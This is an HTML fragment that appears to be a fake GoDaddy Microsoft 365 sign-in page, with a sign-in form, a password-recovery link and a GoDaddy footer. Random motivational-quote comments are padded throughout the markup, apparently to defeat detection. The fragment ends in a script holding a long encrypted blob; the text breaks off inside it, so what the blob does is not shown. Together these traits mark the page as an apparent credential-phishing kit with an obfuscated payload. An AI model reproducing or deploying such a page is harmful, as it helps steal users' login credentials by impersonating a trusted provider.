                            <input class="ux-checkbox-input" type="checkbox" id="remember-me" value="true" checked="">
                            <span class="ux-checkbox-indicator">
                              <svg class="uxicon-svg-container ux-checkbox-indeterminate" height="1.5em" width="1.5em" role="presentation">
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
                                <use fill="currentColor" xlink:href="#svg-container-minus"></use>
                              </svg>
                              <svg class="uxicon-svg-container ux-checkbox-checkmark" height="1.5em" width="1.5em" role="presentation">
                                <use fill="currentColor" xlink:href="#svg-container-checkmark"></use>
                              </svg>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
                            </span>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
                          </span>
                          <label for="remember-me" class="ux-checkbox-label">Keep me signed in on this device</label>
                        </div>
                      </div>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
                      <button class="ux-button btn btn-purchase btn-block ux-text ux-text-size0 ux-text-action ux-button-primary" target="_parent" type="button" id="godaddysignin">
                        <span class="ux-button-text">Sign In</span>
                      </button>
                      <div id="social-login-buttons-container" class=""></div>
                    </div>
<!-- Success is not in what you have, but who you are. -->
                    <p id="recovery-links" class="">Need to find <a class="ux-button ux-text ux-text-size0 ux-button-inline" href="https://sso.godaddy.com/v1/account/reset?app=o365&amp;realm=pass" target="_top" id="forgot_password" aria-label="find your password">
                        <span class="ux-button-text">your password</span>
                      </a>? </p>
                  </div>
                </div>
              </div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
              <div id="email-promo-footer">
                <div class="font-primary-bold" id="email-message">Don't have Microsoft 365 email?</div>
                <button class="ux-button button btn btn-purchase btn-block ux-text ux-text-size-1 ux-text-action ux-button-secondary" target="_parent" type="button" id="emailPromoButton">
                  <span class="ux-button-text">Get Started</span>
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
                </button>
              </div>
            </div>
          </div>
        </div>
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->
      </div>
    </div>
  </div>
 </div>
</div>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
<div id="hcs-footer-container">
  <div class="skip-nav-spacing"></div>
  <footer id="appheader-footer" class="manifest footer">
    <div class="container">Copyright &copy; 1999 - 2025 GoDaddy Operating Company, LLC. All Rights Reserved. <a class="privacy-link" href="https://www.godaddy.com/legal/agreements/privacy-policy?target=_blank" target="_blank" data-eid="uxp.hyd.int.pc.app_header.footer.privacy_policy.link.click">Privacy Policy</a>
      <div class="do-not-sell">
<!-- Success is where preparation and opportunity meet. -->
        <a class="privacy-link" href="https://www.godaddy.com/legal/agreements/cookie-policy" data-eid="uxp.hyd.int.pc.app_header.footer.do_not_sell.link.click">Do not sell my personal information</a>
      </div>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
    </div>
  </footer>
  <div id="gtm_privacy"></div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
</div>
<div id="svg-container" style="display: none;">
  <svg>
<!-- Success is not in what you have, but who you are. -->
    <symbol id="svg-container-minus" viewBox="0 0 24 24">
      <path d="M20 12.75H4a.75.75 0 110-1.5h16a.75.75 0 110 1.5z"></path>
<!-- Don&#039;t watch the clock; do what it does. Keep going. -->
    </symbol>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
    <symbol id="svg-container-checkmark" viewBox="0 0 24 24">
      <path d="M9 18.25a.748.748 0 01-.53-.22l-5-5a.75.75 0 011.06-1.06L9 16.44 19.47 5.97a.75.75 0 011.06 1.06l-11 11a.748.748 0 01-.53.22z"></path>
    </symbol>
  </svg>
<!-- Success is finding satisfaction in giving a little more than you take. -->
</div>

<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
<div id="svg-container" style="display: none;">
    <svg>
     <symbol id="svg-container-alert" viewBox="0 0 24 24">
<!-- The secret of success is to do the common thing uncommonly well. -->
        <g>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
            <path d="M12 13.75a.75.75 0 00.75-.75V9a.75.75 0 10-1.5 0v4a.75.75 0 00.75.75z"></path>
            <path d="M21.371 16.48L14.478 4.417a2.854 2.854 0 00-4.956 0L2.629 16.48a2.853 2.853 0 002.478 4.27h13.787a2.854 2.854 0 002.477-4.27zm-1.307 2.095a1.34 1.34 0 01-1.17.675H5.107a1.352 1.352 0 01-1.175-2.025l6.893-12.063a1.354 1.354 0 012.35 0l6.893 12.063a1.339 1.339 0 01-.004 1.35z"></path>
            <path d="M12 15.25h-.005a1.128 1.128 0 10.005 0z"></path>
        </g>
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
     </symbol>
    </svg>
</div>

<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
</div>
<!-- <div>Effective communication is the key to success.</div> -->

    <script>
    ad = "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